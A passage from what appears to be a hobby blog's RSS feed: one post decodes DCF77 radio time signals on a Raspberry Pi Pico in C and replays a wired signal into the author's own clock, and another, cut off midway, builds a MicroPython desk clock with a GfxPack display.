<p>Another good direction for practicing a new language (and its test environment) might be <a href="https://github.com/gamontal/awesome-katas">code Katas</a>. Especially those that you have already solved in other languages so that solving the problem no longer causes any friction. But the Kata exercises are generally not that difficult anyway, so you can start without any prior preparation.</p>
<p>Well, that's how my days went with Rust. The next step will probably be to go back to the book for a bit to get a better understanding of some Rust-specific things (such as ownership/borrowing) and continue doing the small tasks alongside. How do you approach learning a new programming language?</p>

]]></content:encoded>
        </item>
            <item>
            <title>Something&#039;s in the air</title>
            <link>https://deadlime.hu/en/2024/01/26/somethings-in-the-air/</link>
            <pubDate>Fri, 26 Jan 2024 11:47:15 +0000</pubDate>
            
            <dc:creator><![CDATA[Nagy Krisztián]]></dc:creator>
                    <category><![CDATA[Raspberry Pi]]></category>
                    <category><![CDATA[hardware]]></category>
                    
            <guid isPermaLink="false">8c0cb3b5b8c14e0a5e1492082c2360fb</guid>
            <description>Atomic clocks, radio signals, and time synchronization</description>
            <content:encoded><![CDATA[<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2024/desk_clock.jpg" width="660" height="450" alt="" title="" loading="lazy" />
</p>

<p>The <a href="https://deadlime.hu/en/2023/12/28/the-time-has-not-yet-come/">previous clock-building project</a> made me think that there must be a simpler way. So I just bought a desk clock.</p>
<p>Well, that's not exactly how it happened. I just happen to have more than one time-related stuff to do in parallel. This little project, for example, is about how people had access to accurate time before the Internet.</p>
<p>Of course, they looked out of the window and read the time off of the church tower. Thanks to modern technology, we can do this relatively easily. We just point a camera at the church tower and use artificial intelligence to read the time based on the position of the clock hands.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2024/tower.jpg" width="400" height="600" alt="" title="" loading="lazy" />
</p>

<p>But it's not that simple. Somehow we have to determine whether it is morning or afternoon and it probably wouldn't hurt to know what the date is. Not to mention if there isn't a church tower in sight.</p>
<p>Observant readers may have noticed that I wouldn't need a desk clock for this. Well, yes, that wasn't the direction I was going, I didn't want to go <em>that much</em> back in time. Actually, I wondered how radio-controlled clocks could work.</p>
<h3>Radio time synchronization</h3>
<p>It all starts with a transmitter tower. From my area, I can pick up the signal sent out by a German tower called DCF77, but there are <a href="https://en.wikipedia.org/wiki/Radio_clock#List_of_radio_time_signal_stations">several other ones</a> covering the whole world.</p>
<p>In the case of the DCF77, the signal is generated from an atomic clock and transmitted in 60 seconds. One bit is received every second. The signal sequence is terminated by an extended pause. However, there is quite a lot of noise, so you may not have enough data when the longer pause arrives, or more likely you may have 59 bits of data before the pause arrives, so depending on reception conditions, it may take quite a while to synchronize.</p>
<p>All we need is a receiver. This is usually done with a ferrite rod antenna and some electronics. It is possible to <a href="https://www.aliexpress.com/w/wholesale-dcf77-receiver.html">order a receiver from China</a>, but I didn't want to wait a month and then deal with the local postal service, so the quickest solution seemed to be to order a cheap radio-controlled clock and inspect it.</p>
<h3>The victim</h3>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2024/clock_insides.jpg" width="660" height="660" alt="" title="" loading="lazy" />
</p>

<p>Looking inside the clock mentioned earlier, you can see that there is a separate printed circuit board at the bottom and a ferrite rod antenna underneath it. I soldered them out.</p>
<p>The clock has successfully survived the surgery, everything works the same, except that it has lost its (radio signal) hearing.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2024/emax_6007_v1.jpg" width="660" height="660" alt="" title="" loading="lazy" />
</p>
<p class="image-caption">EMAX 6007 V1<br/>GE16-1055R5<br/>NEW GE13-887</p>

<p>The labels on the radio receiver didn't help me to find any description, but based on other similar boards I figured out that the <code>GND</code> goes to ground, you want 3.3 volts on the <code>VCC</code>, the <code>PON</code> can turn the whole module on and off (but doesn't need to be wired anywhere) and we left with the <code>NTCO</code>, so that must be the data.</p>
<p>I added some more wires with jumper connectors on the end so I could use it with a breadboard, and then I wired the whole thing to a Pico.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2024/wiring1.jpg" width="660" height="540" alt="" title="" loading="lazy" />
</p>

<p>It would have been nice to get it right the first time. I spent a couple of hours here trying to find out why no data was coming from the antenna. I tried searching for any documentation of the module, connected the <code>PON</code>, tried different GPIO pins on the Pico, and even suspected the code, but in the end, I solved it by connecting the module to a dedicated power source and the Pico only received the data signal. Probably the Pico could not supply enough power to the device.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2024/wiring2.jpg" width="660" height="540" alt="" title="" loading="lazy" />
</p>

<h3>Bits in the noise</h3>
<p>We see some kind of data coming in, let's do something with it. At first, I just started flashing the LED on the Pico to get feedback on what was happening.</p>
<pre><code class="hljs arduino"><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">"pico/stdlib.h"</span></span>

<span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> DCF_PIN 16</span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> LED_PIN 25</span>

<span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">on_change</span><span class="hljs-params">(uint gpio, <span class="hljs-keyword">uint32_t</span> event_mask)</span> </span>{
  gpio_put(LED_PIN, event_mask &amp; GPIO_IRQ_EDGE_RISE);
}

<span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">main</span><span class="hljs-params">()</span> </span>{
  gpio_init(DCF_PIN);
  gpio_init(LED_PIN);

  gpio_set_dir(DCF_PIN, GPIO_IN);
  gpio_set_dir(LED_PIN, GPIO_OUT);

  gpio_set_irq_enabled_with_callback(
    DCF_PIN,
    GPIO_IRQ_EDGE_FALL | GPIO_IRQ_EDGE_RISE,
    <span class="hljs-literal">true</span>,
    &amp;on_change
  );

  <span class="hljs-keyword">while</span> (<span class="hljs-literal">true</span>) {
    sleep_ms(<span class="hljs-number">1000</span>);
  }
}
</code></pre>
<p>The next step is to start measuring how long the signal is high and low. According to the documentation, <code>0</code> is received when the signal is high for 100 milliseconds, and <code>1</code> is received when the signal is high for 200 milliseconds. Since there is one bit per second, there should be 800-900 milliseconds of low between two high states. In the last second, no data is coming in, so there is a low state for 1800-1900 milliseconds.</p>
<p>First, we define some constant values for noise filtering, to determine whether we got <code>0</code> or <code>1</code> and to detect the end of the data.</p>
<pre><code class="hljs arduino"><span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> MINIMAL_HIGH_PULSE_WIDTH 50</span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> MINIMAL_LOW_PULSE_WIDTH 700</span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> PULSE_WIDTH_THRESHOLD 150</span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> END_OF_DATA_PULSE_WIDTH 1500</span>
</code></pre>
<p>Then we will also need some variables to store the time of previous state changes and the data that has arrived so far.</p>
<pre><code class="hljs arduino"><span class="hljs-keyword">uint32_t</span> rise_time = <span class="hljs-number">0</span>;
<span class="hljs-keyword">uint32_t</span> fall_time = <span class="hljs-number">0</span>;

<span class="hljs-keyword">uint64_t</span> <span class="hljs-built_in">buffer</span> = <span class="hljs-number">0</span>;
<span class="hljs-keyword">uint32_t</span> buffer_position = <span class="hljs-number">0</span>;
</code></pre>
<p>After that, we only need to write the inside of <code>on_change</code>. We ask the Pico how many milliseconds have elapsed since it was started.</p>
<pre><code class="hljs arduino"><span class="hljs-keyword">uint32_t</span> now = to_ms_since_boot(get_absolute_time());
</code></pre>
<p>Then we do some noise filtering, otherwise it would be almost impossible to get the time.</p>
<pre><code class="hljs arduino"><span class="hljs-keyword">if</span> (now - fall_time &lt; MINIMAL_LOW_PULSE_WIDTH) {
  <span class="hljs-keyword">return</span>;
}

<span class="hljs-keyword">if</span> (now - rise_time &lt; MINIMAL_HIGH_PULSE_WIDTH) {
  <span class="hljs-keyword">return</span>;
}
</code></pre>
<p>If the signal has gone from low to high, we check to see if the low signal was long enough to indicate the end of the data. If at that point we got 59 bits of data, then all is OK, if not, we start over.</p>
<pre><code class="hljs arduino"><span class="hljs-keyword">if</span> (event_mask &amp; GPIO_IRQ_EDGE_RISE) {
  rise_time = now;

  <span class="hljs-keyword">if</span> (rise_time - fall_time &gt; END_OF_DATA_PULSE_WIDTH) {
    <span class="hljs-keyword">if</span> (buffer_position == <span class="hljs-number">59</span>) {
      <span class="hljs-built_in">printf</span>(<span class="hljs-string">" - data received: %lld\n"</span>, <span class="hljs-built_in">buffer</span>);
    }
    <span class="hljs-keyword">else</span> {
      <span class="hljs-built_in">printf</span>(<span class="hljs-string">" - reset: not enough data\n"</span>);
    }
    <span class="hljs-built_in">buffer</span> = buffer_position = <span class="hljs-number">0</span>;
  }
}
</code></pre>
<p>If the signal went from high to low, we decide whether we got a <code>0</code> or a <code>1</code> based on the length of the signal and store the result in the buffer. Here we may have more data than we need (due to noise), if this is the case we start over.</p>
<pre><code class="hljs arduino"><span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> (event_mask &amp; GPIO_IRQ_EDGE_FALL) {
  fall_time = now;

  <span class="hljs-keyword">uint64_t</span> next_bit = fall_time - rise_time &gt; PULSE_WIDTH_THRESHOLD ? <span class="hljs-number">1</span> : <span class="hljs-number">0</span>;

  <span class="hljs-built_in">printf</span>(<span class="hljs-string">"%lld"</span>, next_bit);

  <span class="hljs-built_in">buffer</span> |= next_bit &lt;&lt; buffer_position;
  ++buffer_position;

  <span class="hljs-keyword">if</span> (buffer_position &gt; <span class="hljs-number">59</span>) {
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">" - reset: too much data\n"</span>);
    <span class="hljs-built_in">buffer</span> = buffer_position = <span class="hljs-number">0</span>;
  }
}
</code></pre>
<p>If all goes well, we will have a series of data at the end, hopefully with the current exact time.</p>

<video controls width="660" height="450">
    <source src="https://deadlime.hu/uploads/2024/debug_output.webm" type="video/webm" />
</video>
<p class="image-caption">The data is flowing in very slowly...</p>

<h3>Let's be sure</h3>
<p>Noise has been mentioned several times, which can be a big problem. In the room where I have my desktop and servers, I have not even been able to extract any usable data. I had to move to another room with a laptop so I could test the code. During the day there was a lot of noise and it took me half an hour to get the exact time, but in the evening I got the data almost every minute.</p>
<p>So we have a bunch of bits, but we don't know if the fact that we thought we got a <code>1</code> actually meant that the other side sent a <code>1</code>. To check this, there are three parity bits in the data, which are <code>0</code> if the data before it has an even number of <code>1</code>s and <code>1</code> if it is odd. First, let's look at how to calculate parity for an arbitrary int:</p>
<pre><code class="hljs arduino"><span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">parity</span><span class="hljs-params">(<span class="hljs-keyword">int</span> num)</span> </span>{
  num ^= num &gt;&gt; <span class="hljs-number">16</span>;
  num ^= num &gt;&gt; <span class="hljs-number">8</span>;
  num ^= num &gt;&gt; <span class="hljs-number">4</span>;
  num ^= num &gt;&gt; <span class="hljs-number">2</span>;
  num ^= num &gt;&gt; <span class="hljs-number">1</span>;
  <span class="hljs-keyword">return</span> num &amp; <span class="hljs-number">1</span>;
}
</code></pre>
<p>I won't go into the details, the <a href="https://stackoverflow.com/a/21618038">Stack Overflow page</a> I stole the code from has a great explanation. Also, we need to know which ones are the parity bits and what data they are calculated on. We can look this up on the <a href="https://en.wikipedia.org/wiki/DCF77#Time_code_interpretation">related Wikipedia page</a>. For example, for minutes:</p>
<pre><code class="hljs arduino"><span class="hljs-keyword">int</span> min_data = (<span class="hljs-keyword">int</span>) ((<span class="hljs-built_in">buffer</span> &gt;&gt; <span class="hljs-number">21</span>) &amp; <span class="hljs-number">0b1111111</span>);
<span class="hljs-keyword">int</span> min_parity = (<span class="hljs-keyword">int</span>) ((<span class="hljs-built_in">buffer</span> &gt;&gt; <span class="hljs-number">28</span>) &amp; <span class="hljs-number">1</span>);

<span class="hljs-keyword">if</span> (parity(min_data) != min_parity) {
  <span class="hljs-built_in">printf</span>(<span class="hljs-string">"invalid parity for minute\n"</span>);
}
</code></pre>
<p>We shift the <code>buffer</code> to the right by 21 bits (effectively discarding the first 21 bits), because the data for the minute starts at bit 22 and we take the first 7 bits (<code>&amp; 0b1111111</code>) because that's how long the minute data is.</p>
<p>For parity, the first 28 bits are discarded and only 1 bit of the remaining data is retained. The parity we calculate should match the parity we got.</p>
<p>The hour and date are checked similarly, only the number of right shifts and the amount of data retained afterward varies.</p>
<pre><code class="hljs arduino"><span class="hljs-keyword">int</span> hour_data = (<span class="hljs-keyword">int</span>) ((<span class="hljs-built_in">buffer</span> &gt;&gt; <span class="hljs-number">29</span>) &amp; <span class="hljs-number">0b111111</span>);
<span class="hljs-keyword">int</span> hour_parity = (<span class="hljs-keyword">int</span>) ((<span class="hljs-built_in">buffer</span> &gt;&gt; <span class="hljs-number">35</span>) &amp; <span class="hljs-number">1</span>);

<span class="hljs-keyword">if</span> (parity(hour_data) != hour_parity) {
  <span class="hljs-built_in">printf</span>(<span class="hljs-string">"invalid parity for hour\n"</span>);
}

<span class="hljs-keyword">int</span> date_data = (<span class="hljs-keyword">int</span>) ((<span class="hljs-built_in">buffer</span> &gt;&gt; <span class="hljs-number">36</span>) &amp; <span class="hljs-number">0b1111111111111111111111</span>);
<span class="hljs-keyword">int</span> date_parity = (<span class="hljs-keyword">int</span>) ((<span class="hljs-built_in">buffer</span> &gt;&gt; <span class="hljs-number">58</span>) &amp; <span class="hljs-number">1</span>);

<span class="hljs-keyword">if</span> (parity(date_data) != date_parity) {
  <span class="hljs-built_in">printf</span>(<span class="hljs-string">"invalid parity for date\n"</span>);
}
</code></pre>
<h3>It's time</h3>
<p>Once the buffer has passed the checks, all we need to do is extract the data and set the exact time on the Pico. First, let's look at the minutes here too.</p>
<pre><code class="hljs arduino"><span class="hljs-keyword">int</span> <span class="hljs-built_in">min</span> = (<span class="hljs-keyword">int</span>) ((<span class="hljs-built_in">buffer</span> &gt;&gt; <span class="hljs-number">21</span>) &amp; <span class="hljs-number">0b1111111</span>);
<span class="hljs-built_in">min</span> = (<span class="hljs-built_in">min</span> &gt;&gt; <span class="hljs-number">4</span>) * <span class="hljs-number">10</span> + (<span class="hljs-built_in">min</span> &amp; <span class="hljs-number">0b1111</span>);
</code></pre>
<p>The extraction of the data is the same as for parity, but since the data is represented as a <a href="https://en.wikipedia.org/wiki/Binary-coded_decimal">binary-coded decimal</a>, there is a little extra work to do (the first four bits are the first digit, the second four bits (which are only three in this case) are the second digit).</p>
<p>The rest of the data can be obtained similarly, for the day of the week (<code>dow</code>), Sunday comes as a <code>7</code> and Pico wants to get that as a <code>0</code>. Also, for the year, we have to add <code>2000</code> to the value because we only get the last two digits of the year.</p>
<pre><code class="hljs arduino"><span class="hljs-keyword">int</span> hour = (<span class="hljs-keyword">int</span>) ((<span class="hljs-built_in">buffer</span> &gt;&gt; <span class="hljs-number">29</span>) &amp; <span class="hljs-number">0b111111</span>);
hour = (hour &gt;&gt; <span class="hljs-number">4</span>) * <span class="hljs-number">10</span> + (hour &amp; <span class="hljs-number">0b1111</span>);

<span class="hljs-keyword">int</span> dom = (<span class="hljs-keyword">int</span>) ((<span class="hljs-built_in">buffer</span> &gt;&gt; <span class="hljs-number">36</span>) &amp; <span class="hljs-number">0b111111</span>);
dom = (dom &gt;&gt; <span class="hljs-number">4</span>) * <span class="hljs-number">10</span> + (dom &amp; <span class="hljs-number">0b1111</span>);

<span class="hljs-keyword">int</span> dow = (<span class="hljs-keyword">int</span>) ((<span class="hljs-built_in">buffer</span> &gt;&gt; <span class="hljs-number">42</span>) &amp; <span class="hljs-number">0b111</span>);
<span class="hljs-keyword">if</span> (dow == <span class="hljs-number">7</span>) {
  dow = <span class="hljs-number">0</span>;
}

<span class="hljs-keyword">int</span> month = (<span class="hljs-keyword">int</span>) ((<span class="hljs-built_in">buffer</span> &gt;&gt; <span class="hljs-number">45</span>) &amp; <span class="hljs-number">0b11111</span>);
month = (month &gt;&gt; <span class="hljs-number">4</span>) * <span class="hljs-number">10</span> + (month &amp; <span class="hljs-number">0b1111</span>);

<span class="hljs-keyword">int</span> year = (<span class="hljs-keyword">int</span>) ((<span class="hljs-built_in">buffer</span> &gt;&gt; <span class="hljs-number">50</span>) &amp; <span class="hljs-number">0b11111111</span>);
year = <span class="hljs-number">2000</span> + (year &gt;&gt; <span class="hljs-number">4</span>) * <span class="hljs-number">10</span> + (year &amp; <span class="hljs-number">0b1111</span>);
</code></pre>
<p>Now we just have to tell the Pico RTC module what the exact time is.</p>
<pre><code class="hljs arduino">rtc_init();

<span class="hljs-keyword">datetime_t</span> t = {
  .year = (<span class="hljs-keyword">int16_t</span>) year,
  .month = (<span class="hljs-keyword">int8_t</span>) month,
  .day = (<span class="hljs-keyword">int8_t</span>) dom,
  .hour = (<span class="hljs-keyword">int8_t</span>) hour,
  .<span class="hljs-built_in">min</span> = (<span class="hljs-keyword">int8_t</span>) <span class="hljs-built_in">min</span>,
  .sec = <span class="hljs-number">0</span>,
  .dotw = (<span class="hljs-keyword">int8_t</span>) dow,
};

rtc_set_datetime(&amp;t);
</code></pre>
<p>And that's it, we've got the exact time without the Internet.</p>
<h3>The other direction</h3>
<p>We are left with one poor, unfortunate clock that now can't synchronize itself because we've taken the radio module away. Then my dear colleague <a href="https://github.com/potato">potato</a> came up with the idea of giving it a fake signal, so I found myself once again unscrewing the clock and soldering some jumper cables in place of the old module. At first just for the <code>GND</code> and <code>NTCO</code>, but later I wired in the <code>PON</code> as well.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2024/wiring3.jpg" width="660" height="450" alt="" title="" loading="lazy" />
</p>

<p>I connected it to the Pico and started sending it a signal, but the clock didn't like it so much.</p>

<video controls width="660" height="450">
    <source src="https://deadlime.hu/uploads/2024/error.mp4" type="video/mp4" />
</video>

<p>At first, I suspected that it was the lack of the <code>PON</code> connection that was causing the problem, that the clock was getting a signal when it wasn't expecting it, so I plugged that in, but the flashing didn't get any better. Then I suspected the soldering, that I might have accidentally shorted something, but after a few minutes of examining it with a magnifying glass, everything looked fine.</p>
<p>Finally, I became suspicious that the Pico was putting out 3.3 volts and the clock was only running on 3 volts, so maybe 3.3 volts was too much for it. I pulled some resistors from a box, but couldn't find one that solved the problem by itself. After connecting one resistor the situation improved, after two it seemed to be fixed, so I finally connected three just in case.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2024/wiring4.jpg" width="660" height="450" alt="" title="" loading="lazy" />
</p>

<p>Now we just need a little bit of code. I tried to replay previously recorded real data, which I repeated every minute, but the clock didn't care. I ran into a few bugs that I sent out the wrong data, but even after correcting these it still didn't work. I tweaked the timing a bit to see if the way I sent it was too accurate or something, but no. In the end, the solution was that the clock wanted to be sure and one data series wasn't enough for it. It needs two successful data series in a row to set the time on itself.</p>
<pre><code class="hljs arduino"><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;stdio.h&gt;</span></span>

<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">"pico/stdlib.h"</span></span>

<span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> DCF_SIGNAL_PIN 12</span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> DCF_ENABLED_PIN 13</span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> LED_PIN 25</span>

<span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">main</span><span class="hljs-params">()</span> </span>{
  stdio_init_all();

  gpio_init(DCF_SIGNAL_PIN);
  gpio_init(DCF_ENABLED_PIN);
  gpio_init(LED_PIN);

  gpio_set_dir(DCF_SIGNAL_PIN, GPIO_OUT);
  gpio_set_dir(DCF_ENABLED_PIN, GPIO_IN);
  gpio_set_dir(LED_PIN, GPIO_OUT);

  <span class="hljs-keyword">uint64_t</span> buffers[] = {
    <span class="hljs-comment">//-----PYYYYYYYYMMMMMWWWDDDDDDPHHHHHHPmmmmmmm1AZZARxxxxxxxxxxxxxx0</span>
    <span class="hljs-number">0b0000000010010000001111100001001011100000000101000010100001000100</span>,
    <span class="hljs-number">0b0000000010010000001111100001001011110000001101000010100001000100</span>,
    <span class="hljs-number">0b0000000010010000001111100001001011110000010101000010100001000100</span>,
    <span class="hljs-number">0b0000000010010000001111100001001011100000011101000010100001000100</span>,
    <span class="hljs-number">0b0000000010010000001111100001001011110000100101000010100001000100</span>,
    <span class="hljs-number">0b0000000010010000001111100001001011100000101101000010100001000100</span>,
  };
  <span class="hljs-keyword">int</span> buffer_idx = <span class="hljs-number">0</span>;

  <span class="hljs-keyword">while</span> (<span class="hljs-literal">true</span>) {
    <span class="hljs-keyword">if</span> (gpio_get(DCF_ENABLED_PIN)) {
      <span class="hljs-built_in">printf</span>(<span class="hljs-string">"dcf module is not enabled\n"</span>);
      sleep_ms(<span class="hljs-number">5000</span>);
      <span class="hljs-keyword">continue</span>;
    }

    <span class="hljs-keyword">uint64_t</span> b = buffers[buffer_idx];
    ++buffer_idx;

    <span class="hljs-keyword">int</span> length;
    <span class="hljs-keyword">for</span> (<span class="hljs-keyword">int</span> i = <span class="hljs-number">0</span>; i &lt; <span class="hljs-number">59</span>; ++i) {
      length = b &amp; <span class="hljs-number">1</span> ? <span class="hljs-number">200</span>: <span class="hljs-number">100</span>;
      <span class="hljs-built_in">printf</span>(b &amp; <span class="hljs-number">1</span> ? <span class="hljs-string">"1"</span> : <span class="hljs-string">"0"</span>);

      gpio_put(LED_PIN, <span class="hljs-literal">true</span>);
      gpio_put(DCF_SIGNAL_PIN, <span class="hljs-literal">true</span>);
      sleep_ms(length);

      gpio_put(LED_PIN, <span class="hljs-literal">false</span>);
      gpio_put(DCF_SIGNAL_PIN, <span class="hljs-literal">false</span>);
      sleep_ms(<span class="hljs-number">1000</span> - length);

      b &gt;&gt;= <span class="hljs-number">1</span>;
    }
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"\n"</span>);

    sleep_ms(<span class="hljs-number">1000</span>);
  }
}
</code></pre>
<p>I wanted to avoid to implement the data conversion and bit magic so I just used fixed values for the time. Anyway, the clock starts synchronizing after powering on, and after a few minutes, it sets the &quot;accurate&quot; time it got from the &quot;radio signal&quot;. The LED on the Pico flashes to the beat of the signal.</p>

<video controls width="660" height="450">
    <source src="https://deadlime.hu/uploads/2024/sync.mp4" type="video/mp4" />
</video>

<p>I think that's the end of our little journey, we've exhausted almost all the entertainment that a cheap radio-controlled clock can offer. There's also a temperature sensor, a Piezo buzzer, and an LED backlight in it for the ones who need more adventure.</p>

]]></content:encoded>
        </item>
            <item>
            <title>The time has (not yet) come</title>
            <link>https://deadlime.hu/en/2023/12/28/the-time-has-not-yet-come/</link>
            <pubDate>Thu, 28 Dec 2023 10:29:46 +0000</pubDate>
            
            <dc:creator><![CDATA[Nagy Krisztián]]></dc:creator>
                    <category><![CDATA[Raspberry Pi]]></category>
                    <category><![CDATA[hardware]]></category>
                    
            <guid isPermaLink="false">b7a3c87afa7d92f355ff2af77e519afa</guid>
            <description>Creating a desk clock with Raspberry Pi Pico</description>
            <content:encoded><![CDATA[<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2023/pico_clock.jpg" width="660" height="450" alt="" title="" loading="lazy" />
</p>

<p>I've been thinking for a while now that it would be an interesting project to put together a desk clock. It could have, say, a stopwatch, multiple countdown timers that can run in parallel, maybe displaying temperature and humidity as well, that sort of thing. But life's not that easy, so we won't get that far.</p>
<p>First of all, I ordered some parts:</p>
<ul>
<li>a <a href="https://shop.pimoroni.com/products/pico-gfx-pack">backlit LCD</a> with some buttons on it</li>
<li>a <a href="https://www.raspberrypi.com/documentation/microcontrollers/debug-probe.html">Debug Probe</a>, which I just wanted to try out</li>
<li>and a <a href="https://www.raspberrypi.com/documentation/microcontrollers/raspberry-pi-pico.html">Pico W</a> to power it all</li>
</ul>
<p>Then the fun can begin... after we forget about it all for a month or so.</p>
<h3>C/C++ SDK</h3>
<p>The problems have started to appear with the Debug Probe already.  Although the thing is smaller than if we had converted a Pico, but it cannot power the Pico being debugged, so overall, the more cables made it a bit of a letdown for me.</p>
<p>Regardless of whether it was a Picoprobe or a Debug Probe, in both cases, I needed <a href="https://shop.pimoroni.com/products/pico-omnibus">extra hardware</a> (which I purchased earlier, fortunately) to connect both the display and the probe to the Pico at the same time.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2023/pico_debug_probe_gfx_pack.jpg" width="660" height="450" alt="" title="" loading="lazy" />
</p>

<p>I've <a href="https://deadlime.hu/en/2022/10/21/the-smallest-pi/">mentioned before</a> that the CLion solution worked quite well on Linux, but on Windows I couldn't get it to work. This is only a problem because I have Linux installed on my laptop and Windows on my desktop and it's inconvenient for me to do longer development projects on a laptop.</p>
<p>So I tried to get it to work on Windows again, this time using WSL2. Things installed nicely in WSL2 according to the Linux guide and with the help of <a href="https://learn.microsoft.com/en-us/windows/wsl/connect-usb"><code>usbipd-win</code></a> I was able to share the Pico with it. CLion has WSL2 support too, so it was able to build the project successfully, but it can't run OpenOCD in WSL2, so unfortunately, debugging didn't work. There is <a href="https://youtrack.jetbrains.com/issue/CPP-32484">a ticket</a> about it, so maybe this will be fixed one day.</p>
<p>This is a good way to get a project abandoned for a while (or forever), but in this case, I had another plan. There is an alternative solution: <a href="https://www.raspberrypi.com/documentation/microcontrollers/micropython.html">MicroPython</a>. If we can let go of the lightning-fast C code, we can write it all in Python. It might even be enough for a prototype.</p>
<h3>MicroPython</h3>
<p>Of course, I was not satisfied with the recommended (working) solution, which was the Python IDE called <a href="https://thonny.org/">Thonny</a>. I have no particular problem with it, but if I already have a PyCharm, I would like to use it. Fortunately, there is a MicroPython plugin for it, which allowed me to upload the code to Pico without any problems.</p>
<p>First, we need to copy the MicroPython UF2 file to the Pico. In our case, we need to use the one <a href="https://github.com/pimoroni/pimoroni-pico/releases">supplied by the LCD display manufacturer</a> so that we can access the modules that drive the LCD. The hardware part is also made considerably simpler this way. No need for the Debug Probe, we can connect the Pico directly to the display.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2023/pico_gfx_pack.jpg" width="660" height="450" alt="" title="" loading="lazy" />
</p>

<h3>Code completion</h3>
<p>Life would obviously be too simple if everything just worked. The first problem was code completion. The MicroPython plugin has some support, but it was not enough. Fortunately, there are <a href="https://peps.python.org/pep-0561/#stub-only-packages">stubs</a> like <a href="https://pypi.org/project/micropython-rp2-pico_w-stubs/"><code>micropython-rp2-pico_w-stubs</code></a> which partially solve the problem, but of course, because of the modified MicroPython, some modules are not known by this stub. Fortunately, the <a href="https://github.com/pimoroni/pimoroni-pico-stubs">vendor has made a stub for their own modules</a>, but I couldn't find an official pip package, so I just downloaded the ZIP and installed it from the filesystem.</p>
<p>I would like to say that everything went smoothly after that... but no. For example, there was the <code>GfxPack</code> class that PyCharm didn't recognize the <code>display</code> property of. I'm not that familiar with stubs, but at a glance that seemed fine:</p>
<pre><code class="hljs python"><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">GfxPack</span>:</span>
    <span class="hljs-comment"># ...</span>

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__init__</span><span class="hljs-params">(self)</span>:</span>
        self.display: PicoGraphics
        self.i2c: PimoroniI2C
</code></pre>
<p>So there may be something wrong with PyCharm. When I modified the stub a bit, it worked well:</p>
<pre><code class="hljs python"><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">GfxPack</span>:</span>
    <span class="hljs-comment"># ...</span>

    display: PicoGraphics
    i2c: PimoroniI2C

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__init__</span><span class="hljs-params">(self)</span>:</span>
        ...
</code></pre>
<p>But now. Everything must be good now, right? Wrong. Let's just say it's usable. There are still some oddities around imports, it doesn't offer to import certain modules, but if I import them manually, it recognizes them.</p>
<p>In any case, we can write code and run it on Pico, but the MicroPytho REPL within PyCharm doesn't work for some reason. We don't see any <code>print</code>s sent to serial or even the stack trace of an exception, which doesn't make life any easier. I can connect to it using PuTTY and it works, but as long as PuTTY is connected to it, PyCharm can't send code to it, so it's a bit inconvenient. I'm sure it would work on Linux.</p>
<h3>The clock</h3>
<p>We should create something clock-like at the end, so we have some sense of achievement. First, I drew the layout on the computer and exported it in <a href="https://en.wikipedia.org/wiki/Wireless_Application_Protocol_Bitmap_Format">WBMP</a> format (anyone else remember <a href="https://en.wikipedia.org/wiki/Wireless_Application_Protocol">WAP</a>?), which I could then quite easily read and display on the screen so I could view it on the actual hardware.</p>

<p class="image image-pixelated image-center">
    <img src="https://deadlime.hu/uploads/2023/pico_clock_ui.png" width="512" height="256" alt="" title="" loading="lazy" />
</p>

<pre><code class="hljs python"><span class="hljs-keyword">from</span> gfx_pack <span class="hljs-keyword">import</span> GfxPack


gp = GfxPack()
gp.set_backlight(<span class="hljs-number">0</span>, <span class="hljs-number">180</span>, <span class="hljs-number">60</span>, <span class="hljs-number">140</span>)

<span class="hljs-keyword">with</span> open(<span class="hljs-string">'pico-clock.wbm'</span>, <span class="hljs-string">'rb'</span>) <span class="hljs-keyword">as</span> f:
    buffer = bytearray([b ^ <span class="hljs-number">0xFF</span> <span class="hljs-keyword">for</span> b <span class="hljs-keyword">in</span> f.read()[<span class="hljs-number">-1024</span>:]])

gp.display.set_framebuffer(buffer)
gp.display.update()
</code></pre>
<p>The WBMP format has a variable size header at the beginning, but we know the size of the data because the display (and therefore the image) is 128*64 pixels. Each bit stores the state of one pixel, so the data is (128/8)*64, or 1024 bytes. Fortunately, the format of the framebuffer is exactly the same, so we have an easy job. The image originally appeared as a negative, so we had to invert the bits using <code>b ^ 0xFF</code>.</p>
<p>There were also some minor problems around PyCharm again. It didn't automatically copy the image file to Pico, I had to right-click on the file and press <code>Run 'Flash pico-clock.wbm...'</code> (every time the image was updated).</p>
<p>Now that we have the layout, we can forget about it and finally put together a prototype. The first step would be to get on WiFi and get an accurate time using NTP:</p>
